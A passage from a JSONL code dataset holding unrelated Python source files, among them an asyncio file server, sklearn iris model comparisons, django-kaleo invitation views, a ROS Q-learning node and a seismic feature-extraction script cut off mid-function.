\"rb\")\n await escritura(archivo, fd, writer, code, size)\n except:\n archivo = args.documentroot + '500error.html'\n code = \"500 Internal server error\"\n fd = open(archivo, \"rb\")\n await escritura(archivo, fd, writer, code, size)\n\n\nasync def escritura(archivo, fd, writer, code, size):\n if args.debug:\n req = archivo.lstrip(args.documentroot)\n asyncio.create_task(debug('escritura', req))\n dic = {\".txt\": \" text/plain\", \".jpg\": \" image/jpeg\", \".ppm\": \" image/x-portable-pixmap\", \".html\": \" text/html\", \".pdf\": \" application/pdf\"}\n\n extension = os.path.splitext(archivo)[1]\n header = bytearray(\"HTTP/1.1 \" + code + \"\\r\\nContent-type:\" + dic[extension] + \"\\r\\nContent-length:\" + str(os.path.getsize(archivo)) + \"\\r\\n\\r\\n\" , \"utf8\")\n\n writer.write(header)\n await writer.drain()\n\n while True:\n data = fd.read(size)\n writer.write(data)\n if len(data) != size:\n break\n\n await writer.drain()\n writer.close()\n await writer.wait_closed()\n\n\nasync def logs(ip, port):\n now = time.ctime()\n log = f'> client: {ip}:{port}; date:{now}\\n'\n with open('logs.txt', 'a') as logs:\n logs.write(log)\n\n\nasync def debug(furName, req):\n now = time.ctime()\n mjs = f'> funtion: {furName}; date:{now}; file:{req}\\n'\n with open('debug.txt', 'a') as f:\n f.write(mjs)\n\n\nasync def main():\n port = args.port\n server = await asyncio.start_server(handle, '172.17.0.1', port)\n async with server:\n await server.serve_forever()\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n","sub_path":"alumnos/58103-Scalco-Valentina/TP4/try.py","file_name":"try.py","file_ext":"py","file_size_in_byte":3298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"32610304","text":"import os\nimport re\nimport error # type: ignore\nimport webbrowser\nimport requests\n\nisUrl = re.compile(r'((\\S*)?:\\/\\/(.)?)?[-a-zA-Z0-9@:%._\\+~#=]{1,256}\\.?[a-zA-Z0-9()]{1,6}\\b([-a-zA-Z0-9()@:%_\\+.~#?&\\/=]*)')\nisLocal = re.compile(r'^(.*/)([^/]*)$')\n\nclass Path:\n def __init__(self, path: str):\n self.path = path\n \n if isUrl.match(self.path):\n self.type = 'web'\n elif isLocal.match(self.path):\n self.type = 'local'\n else:\n raise error.UnknownPathTypeError()\n \n def getType(self):\n return self.type\n \n def getRawPath(self):\n return self.path\n \n def getRealPath(self):\n if self.type == 'web':\n raise error.InvalidOperationPerformedError()\n else:\n return os.path.realpath(self.path)\n \n def isFile(self):\n if self.type == 'web':\n raise error.InvalidOperationPerformedError()\n else:\n return os.path.isfile(self.path)\n \n def isDir(self):\n if self.type == 'web':\n raise error.InvalidOperationPerformedError()\n else:\n return os.path.isdir(self.path)\n \n def getRelativePath(self):\n if self.type == 'web':\n raise error.InvalidOperationPerformedError()\n else:\n return os.path.relpath(self.path)\n \n def getLastAccessTime(self):\n if self.type == 'web':\n raise error.InvalidOperationPerformedError()\n else:\n return os.path.getatime(self.path)\n \n def getLastModifiedTime(self):\n if self.type == 'web':\n raise error.InvalidOperationPerformedError()\n else:\n return os.path.getmtime(self.path)\n\n def openInBrowser(self):\n if self.type == 'local':\n raise error.InvalidOperationPerformedError()\n else:\n webbrowser.open(self.path)\n \n def getRequest(self):\n if self.type == 'local':\n raise error.InvalidOperationPerformedError()\n else:\n res = requests.get(self.path)\n \n return res\n \n def getRequestStatusCode(self):\n if self.type == 'local':\n raise error.InvalidOperationPerformedError()\n else:\n res = requests.get(self.path)\n \n return res.status_code\n","sub_path":"py_everything/path.py","file_name":"path.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"499878984","text":"import numpy as np\nfrom PIL import Image\nimport os\n\nimg_size = 128\nn_v = img_size * img_size \nbatch_size = 1\n\nones_vec = np.ones((batch_size, 1))\n\ndef load_input_data():\n input_data_array = [] \n files = os.listdir(\"./\")\n for fname in files:\n _, ext = os.path.splitext(fname)\n if ext == '.jpg' or ext == '.png':\n print(fname)\n img = Image.open(fname).convert('L')\n imgArray = np.reshape(np.asarray(img), (1, n_v))\n input_data_array.append(imgArray)\n\n batch_size = len(input_data_array)\n input_data = np.zeros((batch_size, n_v))\n\n for i in range(batch_size):\n input_data[i, :] = input_data_array[i]\n\n return (input_data, batch_size)\n\n\n\ndef regularize_img(img_batch):\n img_batch = img_batch \\\n - ones_vec * img_batch.mean(axis=0).reshape((1, n_v))\n sigma = ones_vec * np.sqrt( np.square(img_batch).mean(axis=0) / batch_size).reshape((1, n_v))\n img_batch = np.divide(img_batch, sigma)\n return img_batch\n\ndef array_to_grayimg(v):\n #v: (batch_size, n_v)\n #return: transformed v of which each pixels have 0~1 value.\n mins = ones_vec * v.min(axis=0).reshape((1, n_v))\n maxs = ones_vec * v.max(axis=0).reshape((1, n_v))\n return (v - mins).astype(float) / (maxs - mins).astype(float)\n\ndef save_modified_imgbatch(img_batch, fname_suffix):\n for i in range(batch_size):\n tmp_img = np.reshape(np.uint8(255*img_batch[i]), (img_size, img_size))\n img = Image.fromarray(tmp_img).convert('L')\n img.show()\n img.save('%s_%d.jpg' % (fname_suffix, i), 'jpeg')\n\n\n\n\n#main loop\ninput_data, batch_size = load_input_data()\nprint('input_data')\nprint(input_data)\n\nregularized_input_data = regularize_img(input_data)\nprint('regularized_input_data')\nprint(regularized_input_data)\nsave_modified_imgbatch(input_data, 'regularized')\n\ndecoded_input_data = array_to_grayimg(regularized_input_data)\nprint('decoded_input_data')\nprint(decoded_input_data)\nsave_modified_imgbatch(decoded_input_data, 'decoded')\n","sub_path":"miku_img/img_regularize_cnvter.py","file_name":"img_regularize_cnvter.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"101971466","text":"#@author: hant 27-02-2013\n\n\"\"\"\n Device_self (the name shelf was an error here) is a self to display products on devices.\n This service get the list of all device_self.\n\"\"\"\ndef get():# software\n# software = request.args(0)\n \n try:\n rows = db().select(db.clsb_device_shelf.ALL, orderby=db.clsb_device_shelf.shelf_order).as_list()\n d = list()\n for row in rows:\n temp = dict()\n temp['device_self_name'] = row['device_shelf_name']\n temp['device_self_code'] = row['device_shelf_code']\n temp['device_self_type'] = row['device_shelf_type']\n temp['shelf_order'] = row['shelf_order']\n temp['description'] = row['description']\n\n d.append(temp)\n return dict(items=d)\n except Exception as e:\n return dict(error = CB_0003 + str(e)) #DB_RQ_FAILD","sub_path":"cbs20/controllers/device_shelf.py","file_name":"device_shelf.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"153286239","text":"# height = float(input('Please enter your height input meters(decimals): '))\n# weight = int(input('Please enter your weight input kg: '))se\ndef bmi_calc(weight, height):\n if(height>0 and weight>0):\n bmi = int(weight / (height * height))\n elif height==0:\n return \"Divide by zero\"\n elif height<0 or weight<=0:\n return \"Ivalid value\"\n return bmi\n\n\ndef bmi_toweight(bmi):\n if bmi <= 18.5:\n print('Your BMI is', bmi, 'which means you are underweight.')\n return \"underweight\"\n\n elif bmi > 18.5 and bmi < 25:\n print('Your BMI is', bmi, 'which means you are normal.')\n return \"nnormal\"\n\n elif bmi > 25 and bmi < 50:\n print('your BMI is', bmi, 'overweight.')\n return \"ooverweight\"\n elif bmi > 50:\n print('Your BMI is', bmi, 'which means you are obese.')\n return \"oobese\"\n else:\n print('There is an error with your input')\n print('Please check you have entered whole numbers\\n'\n 'and decimals were asked.')\n return None","sub_path":"bmi.py","file_name":"bmi.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"152531730","text":"from sklearn.model_selection import train_test_split\nfrom sklearn import datasets\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.svm import SVR\nfrom sklearn.svm import SVC\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import RandomForestRegressor\n\niris = datasets.load_iris()\nX = iris.data[:, [2, 3]]\ny = iris.target\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=0)\n\nprint(X_train.shape, y_train.shape, X_test.shape, y_test)\n\nlogreg = LogisticRegression()\nlogreg.fit(X_train, y_train)\nprint('LogisticRegression:', logreg.score(X_test, y_test))\n\nlinear = LinearRegression()\nlinear.fit(X_train, y_train)\nprint('LinearRegression:', linear.score(X_test, y_test))\n\ndecisiont = DecisionTreeRegressor()\ndecisiont.fit(X_train, y_train)\nprint('DecisionTreeRegressor:', decisiont.score(X_test, y_test))\nres = decisiont.predict([[3.2, 1]])\nprint('prediction:', res)\n\nnb = GaussianNB()\nnb.fit(X_train, y_train)\nprint('GaussianNB:', nb.score(X_test, y_test))\nprint('prediction:', nb.predict([[3.2, 1]]))\n\nrd = RandomForestClassifier()\nrd.fit(X_train, y_train)\nprint('RandomForestClassifier:', rd.score(X_test, y_test))\n\nrr = RandomForestRegressor()\nrr.fit(X_train, y_train)\nprint('RandomForestRegressor:', rr.score(X_test, y_test))\n\nsvm = SVC()\nsvm.fit(X_train, y_train)\nprint('SVC:', svm.score(X_test, y_test))\n\nsvr = SVR()\nsvr.fit(X_train, y_train)\nprint('SVR:', svr.score(X_test, y_test))\n","sub_path":"iris_database/compare_models2.py","file_name":"compare_models2.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"384272115","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n__author__ = 'ipetrash'\n\n\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import Qt\n\n\nclass Widget(QWidget):\n def __init__(self):\n super().__init__()\n\n self.old_pos = None\n\n def mousePressEvent(self, event):\n if event.button() == Qt.LeftButton:\n self.old_pos = event.pos()\n\n def mouseMoveEvent(self, event):\n delta = event.pos() - self.old_pos\n self.move(self.pos() + delta)\n\n\nif __name__ == '__main__':\n app = QApplication([])\n\n w = Widget()\n w.show()\n\n app.exec()\n","sub_path":"pyqt__mouse_manual_move.py","file_name":"pyqt__mouse_manual_move.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"183207965","text":"import http.server\r\nimport socketserver\r\nimport json\r\nfrom io import BytesIO\r\n\r\nPORT = 8080\r\n# Handler = http.server.SimpleHTTPRequestHandler\r\nSTATUS = b'1'\r\n\r\nclass myHHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):\r\n def __init__(self, *args, directory=None, **kwargs):\r\n super().__init__(*args, **kwargs)\r\n \r\n def do_GET(self):\r\n \"\"\"Serve a GET request.\"\"\"\r\n if self.path == \"/\" or self.path == \"/index.html\":\r\n f = self.send_head()\r\n if f:\r\n try:\r\n self.copyfile(f, self.wfile)\r\n finally:\r\n f.close()\r\n elif(self.path == \"/api/status\"):\r\n self.send_response(200)\r\n self.end_headers()\r\n self.wfile.write(STATUS)\r\n \r\n def do_POST(self):\r\n global STATUS # note: must be global here\r\n\r\n content_length = int(self.headers['Content-Length'])\r\n body = self.rfile.read(content_length)\r\n self.send_response(200)\r\n self.end_headers()\r\n response = BytesIO()\r\n STATUS = body\r\n print('status is {0}'.format(STATUS))\r\n response.write(body)\r\n # self.wfile.write(b'whatever')\r\n\r\nif __name__ == \"__main__\":\r\n\r\n Handler = myHHTTPRequestHandler\r\n with socketserver.TCPServer((\"\", PORT), Handler) as httpd:\r\n print(\"serving at port\", PORT)\r\n httpd.serve_forever() # it will call construtor of the Handler each time\r\n\r\n\r\n","sub_path":"WebApp/server-demo/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"472272442","text":"\r\n# this one was fun\r\n\r\nn = int(input())\r\n\r\nfractions = []\r\n\r\nimport re\r\n\r\nfor i in range (0, n):\r\n\tfraction = input()\r\n\r\n\tm = re.match(r\"(\\d*)/(\\d*)\", fraction)\r\n\tfractions.append( (int(m.group(1)), int(m.group(2))))\r\n\r\n\r\ncommonFractions = []\r\n\r\n\r\nfor i in range(0, len(fractions)):\r\n\tcommonFractions.append(fractions[i])\r\n\tfor k in range(0, len(fractions)):\r\n\t\tif(i != k):\r\n\t\t\tcommonFractions[i] = (commonFractions[i][0] * fractions[k][1], commonFractions[i][1] * fractions[k][1])\r\n\r\nnumSum = 0\r\ndenom = commonFractions[0][1]\r\nfor element in commonFractions:\r\n\tnumSum += element[0]\r\n\r\nfor i in range(denom + 1, 1, -1):\r\n\tif(numSum % i == 0 and denom % i == 0):\r\n\t\tnumSum = numSum // i\r\n\t\tdenom = denom // i\r\n\r\nprint(str(numSum) + \"/\" + str(denom))","sub_path":"Easy/226.py","file_name":"226.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"271669907","text":"\"\"\" Utility functions and classes for SRP\n\nContext : SRP\nModule : SRPELT\nVersion : 1.0.0\nAuthor : Stefano Covino\nDate : 29/03/2017\nE-mail : stefano.covino@brera.inaf.it\nURL: : http://www.merate.mi.astro.it/utenti/covino\n\nUsage : \n\nRemarks :\n\nHistory : (29/03/2017) First version.\n\"\"\"\n\nimport numpy as np\nimport scipy.integrate as integrate\nfrom pynverse import inversefunc\nfrom SRPELT.aspheric_polar_der import aspheric_polar_der\nfrom SRPELT.aspheric_polar import aspheric_polar\n\n\n\ndef mpdf(r,area):\n return fpdf(r)/area\n\ndef mycdf(r,r_min,area):\n return integrate.quad(mpdf,r_min,r,args=(area,))[0]\n\n\ndef uni_aspher (nlat,nlon,r_min,r_max,CR,k,r2=0.,r4=0.):\n \"\"\"Generate an uniform distribution of points on an aspheric surface\"\"\"\n # azimuth\n stph = 360./nlon\n ph = np.arange(0.,360.,stph)\n # CDF\n samplecdf = np.arange(0,1,1./nlat)\n fpdf = lambda r: (1. + aspheric_polar_der(r,CR,k,0.,r4)**2)\n Area = integrate.quad(fpdf,r_min,r_max)[0]\n mpdf = lambda r: (fpdf(r)/Area)\n myint = lambda r: integrate.quad(mpdf,r_min,r)[0]\n invas = inversefunc(myint)\n rcds = []\n for i in samplecdf:\n rcds.append(invas(i))\n #\n rr,pp = np.meshgrid(np.array(rcds),ph)\n #\n x = rr*np.cos(np.radians(pp))\n y = rr*np.sin(np.radians(pp))\n z = aspheric_polar(rr,CR,k,r2,r4)\n return np.ravel(x),np.ravel(y),np.ravel(z)\n","sub_path":"python3/SRPAstro/SRP.ELT/SRPELT/uni_aspher.py","file_name":"uni_aspher.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"331928396","text":"import json\n\nfrom django.http import HttpResponse\nfrom django.shortcuts import get_object_or_404\nfrom django.template import RequestContext\nfrom django.template.loader import render_to_string\nfrom django.views.decorators.http import require_POST\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.decorators import permission_required\n\nfrom kaleo.compat import get_user_model\nfrom kaleo.forms import InviteForm\nfrom kaleo.models import JoinInvitation, InvitationStat\n\n\n@login_required\n@require_POST\ndef invite(request):\n form = InviteForm(request.POST, user=request.user)\n if form.is_valid():\n email = form.cleaned_data[\"email_address\"]\n JoinInvitation.invite(request.user, email)\n form = InviteForm(user=request.user)\n data = {\n \"html\": render_to_string(\n \"kaleo/_invite_form.html\", {\n \"form\": form,\n \"user\": request.user\n }, context_instance=RequestContext(request)\n ),\n \"fragments\": {\n \".kaleo-invites-remaining\": render_to_string(\n \"kaleo/_invites_remaining.html\", {\n \"invites_remaining\": request.user.invitationstat.invites_remaining()\n }, context_instance=RequestContext(request)\n ),\n \".kaleo-invites-sent\": render_to_string(\n \"kaleo/_invited.html\", {\n \"invited_list\": request.user.invites_sent.all()\n }, context_instance=RequestContext(request)\n )\n }\n }\n return HttpResponse(json.dumps(data), content_type=\"application/json\")\n\n\n@login_required\n@permission_required(\"kaleo.manage_invites\", raise_exception=True)\ndef invite_stat(request, pk):\n user = get_object_or_404(get_user_model(), pk=pk)\n return HttpResponse(json.dumps({\n \"html\": render_to_string(\n \"kaleo/_invite_stat.html\", {\n \"stat\": user.invitationstat\n }, context_instance=RequestContext(request)\n )\n }), content_type=\"application/json\")\n\n\n@login_required\n@permission_required(\"kaleo.manage_invites\", raise_exception=True)\n@require_POST\ndef topoff_all(request):\n amount = int(request.POST.get(\"amount\"))\n InvitationStat.topoff(amount)\n return HttpResponse(json.dumps({\n \"inner-fragments\": {\".invite-total\": amount}\n }), content_type=\"application/json\")\n\n\n@login_required\n@permission_required(\"kaleo.manage_invites\", raise_exception=True)\n@require_POST\ndef topoff_user(request, pk):\n user = get_object_or_404(get_user_model(), pk=pk)\n amount = int(request.POST.get(\"amount\"))\n InvitationStat.topoff_user(user=user, amount=amount)\n return HttpResponse(json.dumps({\n \"html\": amount\n }), content_type=\"application/json\")\n\n\n@login_required\n@permission_required(\"kaleo.manage_invites\", raise_exception=True)\n@require_POST\ndef addto_all(request):\n amount = int(request.POST.get(\"amount\"))\n InvitationStat.add_invites(amount)\n return HttpResponse(json.dumps({\n \"inner-fragments\": {\".amount-added\": amount}\n }), content_type=\"application/json\")\n\n\n@login_required\n@permission_required(\"kaleo.manage_invites\", raise_exception=True)\n@require_POST\ndef addto_user(request, pk):\n user = get_object_or_404(get_user_model(), pk=pk)\n amount = int(request.POST.get(\"amount\"))\n InvitationStat.add_invites_to_user(user=user, amount=amount)\n return HttpResponse(json.dumps({\n \"html\": amount\n }), content_type=\"application/json\")\n","sub_path":"wsgi/mysite/mysiteenv/lib/python2.7/site-packages/kaleo/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"176636367","text":"#!/usr/bin/env python3\n\nimport rospy\nfrom q_learning_project.msg import QMatrix, QMatrixRow, QLearningReward, RobotMoveDBToBlock\nimport numpy as np\n\nclass QLearning(object):\n def __init__(self):\n # set alpha/gamma/epsilon for easy access when optimizing algorithm during testing\n self.alpha = 1\n self.gamma = 0.5\n self.epsilon = 1\n \n # Initialize q_learning node\n rospy.init_node('q_learning')\n\n # Set publishers\n self.q_matrix_pub = rospy.Publisher(\"/q_learning/q_matrix\", QMatrix, queue_size=10)\n self.robot_action_pub = rospy.Publisher(\"/q_learning/robot_action\", RobotMoveDBToBlock, queue_size=10)\n \n # ROS Subscribe to rewards\n rospy.Subscriber(\"q_learning/reward\", QLearningReward, self.q_algo)\n\n # Waits for publisher to be attached\n rospy.sleep(3)\n\n # create a reference for dumbell colors\n self.dumbells = [\"red\", \"green\", \"blue\"]\n \n # create a table that stores the different actions (as a tuple: (db_moved, block_moved_to)) the robot can take\n self.action_table = []\n for db in range(3):\n for block in range(1,4):\n self.action_table.append((self.dumbells[db], block))\n \n # create an array that represents every possible state\n self.state_matrix = []\n for b in range(4):\n for g in range(4):\n for r in range(4):\n self.state_matrix.append((r, g, b))\n \n # Initialize and publish Q Matrix\n self.q_matrix = QMatrix()\n self.q_matrix.q_matrix = np.full((64, 9), 0)\n self.q_matrix_pub.publish(self.q_matrix)\n \n # intialize iterations\n self.iterations = 0\n self.iterations_converging = 0\n\n # Initialize action Matrix\n self.init_action_matrix()\n\n # Start state as 0, next state hasn't been determined yet\n self.curr_state = 0\n self.next_state = -1\n \n # initialialize action chosen (-1 before any have been chosen)\n self.action_choice = -1\n \n # keeps track of whether the q_matrix has converged\n self.converged = False\n \n self.final_action_seq = []\n\n # initialize action matrix\n def init_action_matrix(self):\n \n # creating the action matrix\n self.action_matrix = []\n self.action_matrix = np.full((64, 64), -1)\n \n for start, col in enumerate(self.action_matrix):\n for next in range(len(col)):\n start_state = self.state_matrix[start]\n next_state = self.state_matrix[next]\n \n # check that transition to next state is valid:\n is_valid_action = True\n # 1) need to check (at least) 1 and only 1 move has been made and that no dumbell has been moved back to origin/between blocks\n # an array of moves in the format (db_color_moved, block_number)\n moves = []\n for i in range(3):\n if start_state[i] != next_state[i]:\n if start_state[i] == 0:\n moves.append((self.dumbells[i], next_state[i]))\n else:\n is_valid_action = False\n break\n\n if len(moves) != 1:\n is_valid_action = False\n break \n # 2) check no more than one dumbell at each block\n for db in range(1, 4):\n num = 0\n for block in range(0, 3):\n if next_state[block] == db:\n num = num + 1\n if num > 1:\n is_valid_action = False\n break\n \n if is_valid_action:\n # get the action number that matches the move\n action = 0\n for i, a in enumerate(self.action_table):\n if a == moves[0]:\n action = i\n # add the action that changes the state from the start_state to next_state\n self.action_matrix[start][next] = action\n\n def random_action(self):\n # choose a random action given the robot's current state \n possible_actions = np.array(self.action_matrix[self.curr_state]) \n self.action_choice = np.random.choice(possible_actions)\n while self.action_choice == -1:\n self.action_choice = np.random.choice(possible_actions)\n action = self.action_table[self.action_choice]\n\n # publish chosen action\n robot_action = RobotMoveDBToBlock(robot_db = self.dumbells[action[0]], block_id = action[1])\n self.robot_action_pub.publish(robot_action)\n\n\n # updates q_matrix based on rewards\n def q_algo(self, data):\n \n # get current and new values of the row\n curr_value = self.q_matrix.q_matrix[self.curr_state].q_matrix_row[self.action_choice]\n self.q_matrix.q_matrix[self.curr_state].q_matrix_row[self.action_choice] = curr_value + (self.alpha * (data.reward + self.gamma * max(self.q_matrix.q_matrix[self.next_state].q_matrix_row) - curr_value))\n new_value = self.q_matrix.q_matrix[self.curr_state].q_matrix_row[self.action_choice]\n\n # if q_matrix vals don't change, increase converging count\n if abs(new_value - curr_value) < self.epsilon:\n self.iterations_converging += 1\n # if vals do change, reset convergence count\n else: \n self.iterations_converging = 0\n\n # publish q_matrix and update state\n self.q_matrix_pub.publish(self.q_matrix)\n self.curr_state = self.next_state\n\n # resets state when all 3 dumbells have been moved\n if self.iterations % 3 == 0:\n self.current_state = 0\n rospy.sleep(1)\n\n # checks if matrix converged\n if self.converged is False:\n # choose next action\n self.random_action()\n self.iterations += 1\n self.check_convergence()\n \n def check_convergence(self):\n # check if iterated minmum amount of times\n if self.iterations > 200:\n if self.iterations_converging >= 300:\n self.converged = True\n self.state = 0\n self.change_subscriptions()\n # find best sequential actions for robot at each stage\n for a in range(1,3):\n row = self.q_matrix.q_matrix[self.state].q_matrix_row\n best_action = row.index(max(row))\n print(a, \" best action: \", best_action)\n\n # add action to final list of actions\n self.final_action_seq.append(self.action_table[best_action])\n \n # publish chosen action\n robot_action = RobotMoveDBToBlock(robot_db = self.dumbells[best_action[0]], block_id = best_action[1])\n self.robot_move_pub.publish(robot_action)\n\n # get next state\n self.state = self.action_matrix[self.state].index(best_action)\n \n print(\"matrix converged\")\n \n def change_subscriptions(self):\n self.robot_action_pub.unregister()\n self.robot_move_pub = rospy.Publisher(\"/q_learning/robot_move\", RobotMoveDBToBlock, queue_size=10)\n\n def run(self):\n rospy.spin()\n\n\nif __name__ == \"__main__\":\n node = QLearning()\n node.run()","sub_path":"scripts/q_learning.py","file_name":"q_learning.py","file_ext":"py","file_size_in_byte":7726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"483581653","text":"import sys\nfrom . import player\nfrom . import schedule\nfrom . import auction_draft\nfrom .parsers import personal_notes\nfrom .parsers import numberfire_projections\nfrom .parsers import espn_rankings\nfrom .parsers import auction_history\nfrom .parsers import points_against\nfrom .parsers import espn_teams\n\n_RAW_DATA_DIR = './data-raw/'\n_PROCESSED_DIR = './data-processed/'\n\n\ndef initData():\n print('Initializing data')\n\n # print 'process league notes - who owns each player?'\n players = personal_notes.parse(_RAW_DATA_DIR + 'notes.csv')\n\n # print 'processing projections - how much is everyone worth?'\n numberfire_projections.parse(\n players,\n _RAW_DATA_DIR + 'numberfire.projections.2017.aug.01.md',\n _PROCESSED_DIR + 'numbefire.projections.csv')\n with open(_PROCESSED_DIR + 'numbefire.projections.csv', 'r') as input:\n for line in input:\n items = line[:-1].split(';')\n players[items[0]].projection = float(items[1])\n player.setProjectionBasedRankings(players)\n\n # print 'processing espn rankings'\n espn_rankings.parse(\n players,\n _RAW_DATA_DIR + 'espn.rankings.2017.aug.01.md',\n _PROCESSED_DIR + 'espn.rankings.csv')\n with open(_PROCESSED_DIR + 'espn.rankings.csv', 'r') as input:\n posRanks = {'QB': 1, 'RB': 1, 'WR': 1, 'TE': 1, 'D/ST': 1, 'K': 1}\n for line in input:\n items = line[:-1].split(';')\n rank = int(items[0]) + 1\n name = items[1]\n\n players[name].overallRank = rank\n players[name].posRank = posRanks[players[name].pos]\n posRanks[players[name].pos] += 1\n\n # print 'processing historical auction prices'\n auctionFiles = [_RAW_DATA_DIR + x for x in [\n 'draft.2013.raw.txt',\n 'draft.2014.raw.txt',\n 'draft.2015.raw.txt',\n 'draft.2016.raw.txt',\n 'draft.2017.raw.txt']]\n prices = auction_history.parse(auctionFiles)\n\n for _, p in players.items():\n pos = p.pos\n if p.posRank < len(prices[pos]):\n p.cost = prices[pos][p.posRank - 1]\n\n # If we didn't give a projected value in the notes,\n # use the projection to estimate a value\n if p.value == -1:\n p.value = max(1, prices[pos][p.posRankByProj - 1])\n\n return players\n\n\ndef main():\n if len(sys.argv) < 2:\n print('Not enough args. Valid options:')\n print(' python process.py draft')\n sys.exit(2)\n\n players = initData()\n\n if sys.argv[1] == 'draft':\n auction_draft.run(players)\n\n elif sys.argv[1] == 'schedule':\n points_against.parse(2017, _PROCESSED_DIR)\n schedule.run(sys.argv[2:])\n\n elif sys.argv[1] == 'trade':\n espn_teams.parse(_PROCESSED_DIR)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"FantasyFootball/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":2790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"355781350","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Nov 17 11:28:08 2022\r\n\r\n@author: Marc\r\n\"\"\"\r\n\r\n\r\ndef function_features_extration(sac_conc): \r\n sac_k = sac_conc.copy()\r\n import numpy.matlib\r\n import os\r\n import numpy as np\r\n from obspy import read, read_inventory\r\n import math\r\n import time\r\n import matplotlib.pyplot as plt\r\n import scipy as sp\r\n import pandas as pd\r\n from obspy.signal.trigger import classic_sta_lta,trigger_onset\r\n import sys\r\n from Funciones import utils_magnitude\r\n \r\n ##Los siguientes parametros no deberian modificarse, ya que fueron los con que se entreno la red\r\n \r\n nro_canales = 3 #Number of channel to use, 1 or 3, if is set to 1, it will take the Z channel.\r\n umbral_corte = 0.03 # Threshold, based on the decay of the signal #0.1 is 10% # if is setted in 1 preserves the entire trace\r\n frame_length = 4 #size in seconds of the frame length\r\n frame_shift = 2 #frame shift\r\n Energy = 'E3' # There are different types of energy used \r\n Vel = True #True: the traces are converted to velocity, False the traces are kept in count\r\n escala_features_fft = 'logaritmica' # 'lineal' o 'logaritmica' \r\n escala_features_energia = 'logaritmica'\r\n escala_signal = 1e+10 #Scale to amplify the signal, especially useful when the signal is in velocity\r\n version = 'original' #'original', 'fourier_completa' o 'raw'\r\n\r\n id_estacion = {'PB09':1,'PB06':2,'AC02':3,'CO02':4,'PB14':5,'CO01':6,'GO01':7,'GO03':8, 'MT16':9, 'PB18':10,\r\n 'CO10':11}\r\n features_canales_temporal,features_canales_global = [], [] \r\n feat_por_evento_temporal, feat_por_evento_global = [], []\r\n for ch in range(len(sac_k)):\r\n sac_k[ch].data = sac_k[ch].data*escala_signal\r\n estoy_en_Z = 0\r\n \r\n sta = sac_k[ch].stats.channel\r\n \r\n \r\n fs = int(sac_k[ch].stats.sampling_rate)\r\n fs_real = int(sac_k[ch].stats.sampling_rate)\r\n if fs ==100:\r\n sac_k[ch].data = sp.signal.resample(sac_k[ch].data,int(len(sac_k[ch].data)*40/100))\r\n sac_k[ch].stats.sampling_rate = 40\r\n sac_k[ch] = sac_k[ch].slice(sac_k[ch].stats.starttime+1, sac_k[ch].stats.endtime-1)\r\n fs = 40\r\n elif fs==40:\r\n sac_k[ch] = sac_k[ch].slice(sac_k[ch].stats.starttime+1, sac_k[ch].stats.endtime-1)\r\n elif fs!=40:\r\n print('Hay sampling rate distinto a 40, revisar!!')\r\n \r\n frame_len = frame_length*fs\r\n frame_shi = frame_shift*fs \r\n nfft = pow(2,math.ceil(np.log2(frame_len)))\r\n \r\n if Vel == True: # Signal are converted to velocity\r\n \r\n sta = sac_k[ch].stats.station\r\n cha = sac_k[ch].stats.channel\r\n\r\n inv = read_inventory('nuevos_xml/'+sta+'.xml')\r\n sac_k[ch].remove_response(inventory=inv, output=\"VEL\")\r\n \r\n data_k = utils_magnitude.butter_highpass_lfilter(sac_k[ch].data, cutoff=1, fs=fs, order=3) \r\n \r\n \r\n if sac_k[ch].stats.channel[-1]=='Z':\r\n \r\n \r\n \r\n if Energy == 'E1':\r\n Energia_Z_ref = utils_magnitude.E1(data_k, frame_len, frame_shi, nfft,escala = 'lineal')\r\n elif Energy == 'E2':\r\n Energia_Z_ref = utils_magnitude.E2(data_k, frame_len, frame_shi,escala = 'lineal')\r\n elif Energy == 'E3':\r\n Energia_Z_ref = utils_magnitude.E3(data_k, frame_len,frame_shi,escala = 'lineal')\r\n \r\n \r\n arg_amp_maxima = np.argmax(Energia_Z_ref) #Assumption: The maximun energy is in S-wave\r\n arg_amp_minima = np.argmin(Energia_Z_ref[:arg_amp_maxima]) # take the 